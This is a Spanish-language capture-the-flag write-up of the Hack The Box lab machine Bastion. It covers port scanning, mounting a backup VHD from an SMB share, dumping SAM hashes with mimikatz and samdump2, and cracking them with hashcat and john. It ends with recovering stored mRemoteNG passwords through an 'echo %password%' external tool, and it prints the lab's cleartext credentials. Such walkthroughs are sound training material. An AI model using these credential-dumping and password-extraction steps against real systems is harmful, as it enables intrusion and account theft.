This page looks best with JavaScript enabled

Hack The Box - Bastion

 ·  ÔśĽ 6 min read  ·  ÔťŹ´ŞĆ sckull

Bastion es una maquina de HackTheBox aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Nombre Bastion
OS Windows
Puntos 20
Dificultad Facil
IP 10.10.10.134
Maker L4mje

MASSCAN

Escaneo de puertos UDP/TCP con masscan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
root@sckull:~/htb/bastion#  masscan -p1-65535,U:1-65535 10.10.10.134 --rate=1000
 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-05-07 17:02:20 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.134
Discovered open port 135/tcp on 10.10.10.134
Discovered open port 5985/tcp on 10.10.10.134
Discovered open port 49664/tcp on 10.10.10.134
Discovered open port 49666/tcp on 10.10.10.134
Discovered open port 445/tcp on 10.10.10.134
Discovered open port 49668/tcp on 10.10.10.134
Discovered open port 139/tcp on 10.10.10.134
Discovered open port 49667/tcp on 10.10.10.134
Discovered open port 47001/tcp on 10.10.10.134
Discovered open port 49670/tcp on 10.10.10.134
Discovered open port 49669/tcp on 10.10.10.134

NMAP

Escaneo de puertos TCP con nmap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@sckull:~/htb/bastion# nmap -p49667,139,49670,445,49669,49668,135,49666,22 -sV -A -O 10.10.10.134
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-07 18:58 BST
Nmap scan report for 10.10.10.134
Host is up (0.13s latency).                      
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56­čćÄ19:97:d5:bb:03:fb:82­čĺ┐63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microso$t Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 - SP2,
Windows Server 2008 SP2, or Windows 7 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m52s, deviation: 1h09m14s, median: 5s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-05-07T20:00:16+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-05-07 19:00:12
|_  start_date: 2019-05-07 10:50:40

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   123.61 ms 10.10.14.1
2   123.96 ms 10.10.10.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.98 seconds

SMB

Escaneo de sharenames en SMB con smbclient.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@sckull:~/htb/bastion# smbclient -L \\10.10.10.134
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	Backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

SMB - Backups

Encontramos una nota (note.txt) en el sharename de Backups, esta nos habla de un backup.
image

note.txt

image

Tambien encontramos una carpeta de un backup de la maquina en \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\ dentro encontramos varios archivos xml y archivo vhd.

image

SMB - Montar archivo VHD

Mount VHD stored

Para poder ver lo que contiene el archivo backup en SMB montamos el SHARENAME localmente para luego hacer lo mismo con el backup y poder ver los archivos en su interior. Para ello utilizamos una maquina Windows.

Comandos:

1
2
3
4
5
6
7
net use h: \\10.10.10.134\Backups
DISKPART
SELECT VDISK FILE="H:\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd"
ATTACH VDISK
ASSIGN LETTER=E
exit
dir e:

image

image

SAM - PASSWORD [HASH]

Ahora que tenemos acceso al backup de la maquina podemos buscar contrase├▒as guardadas, existen diferentes lugares y archivos donde podemos encontrar contrase├▒as almacenadas (Password Stored), en esta maquina las encontramos en C:\Windows\System32\config\, donde podemos ver dos archivos uno llamado SAM y otro SYSTEM los cuales contienen hashes de autenticacion almacenadas por SAM (Security Account Manager).

image

Para obtener los hash podemos utilizar mimikatz y samdump2.

1
mimikatz - lsadump::sam

image

samdump2 - SYSTEM SAM

image

Utilizamos los hash para ver los permisos del usuario L4mpje en los SHARENAMES.

image

1
aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9

Crack HASH - hashcat, john

1
hashcat/hashcat64.bin -m 1000 bastion.txt rockyou.txt -o bastion_pass.txt
1
john --format=NT-old --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracked:
26112010952d963c8dc4217daec986d9:bureaulampje

SHELL SSH - L4mpje

Ahora que tenemos la contrase├▒a para el usuario L4ampje podemos logearnos en el servicio ssh.

image

Obtenemos nuestra bandera user.txt.

PRIVILEGE ESCALATION - nRemoteNG

Al enumerar los programas nos encontramos con uno no muy comun en maquinas windows mRemoteNG.
![image](/images/posts/htb/bastion/Screenshot from 2019-05-08 00.35.33.webp)

Al investigar un poco sobre este programa y sus vulnerabilidades encontramos que los archivos de configuracion contienen contrase├▒as encriptadas y las cuales pueden ser facilmente desencriptadas (Stealing Password from mremote). Lastimosamente es una vulnerabilidad que no afecta a esta version del programa.

Archivos de configuracion (c:\Users\L4mpje\AppData\Roaming\mRemoteNG).

image

Utilizamos mRemoteNG para ver el fuincionamiento de los archivos de configuracion. Para ello creamos un nuevo archivo de configuracion agregamos las credenciales del usuario L4mpje y utilizamos la opcion de SSH2, como vemos nos pudimos conectar exitosamente mediante ssh con el programa.

image

Al guardar el archivo de conexion vemos que es un archivo XML, dicho archivo tiene la misma estructura del archivo de configuracion que tiene la maquina en AppData. Eliminamos la conexion de la lista de conexiones en mRemoteNG e importamos nuevamente el archivo que habiamos guardado (Bastion_file.xml), al cargarse este archivo se cargaron las credenciales y la configuracion de SSH2 anteriormente realizadas.

image

Estructura del archivo XML

image

Ahora que sabemos que podemos importar un archivo de configuracion, vamos a intentar impoartar el archivo de configuracion que esta en la maquina, para ello lo descargamos. Vemos la misma configuracion que tiene nuestro archivo que guardamos anteriormente.

image

Importamos el archivo al programa y nos muestra dos conexiones una del usuario Administrador y de L4mpje.

Conexion DC

image

Conexion L4mpje-PC

image

Como podemos ver las direcciones IP a las que estan configuradas esas conexiones son locales vamos a cambiarlas y dirigirlas a la IP de la maquina (10.10.10.134), de la misma forma para el SSH e intentamos conectarnos.

L4mpje

image

Administrator - Shell

Finalmente obtenemos una shell como Administrador y nuestra bandera root.txt.
image

Al investigar acerca del crackeo de Contrase├▒as, encontre un post mRemote Crack Password en el cual muestra que podemos sacar la contrase├▒a de cualquier conexion o configuracion de conexion mediante la creacion de una Herramienta externa con los siguientes datos:

1
2
File Name : cmd
Arguments : /k echo %password%

image

Para extraer la contrase├▒a seleccionamos la conexion y le damos a ejecutar Herramienta externa > Seleccionamos la que hemos creado.

image

Asi es como obtenemos la contrase├▒a de Administrator y L4mpje.

1
2
Administrator:thXLHM96BeKL0ER2
L4mpje:bureaulampje
Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

HTB: Bastion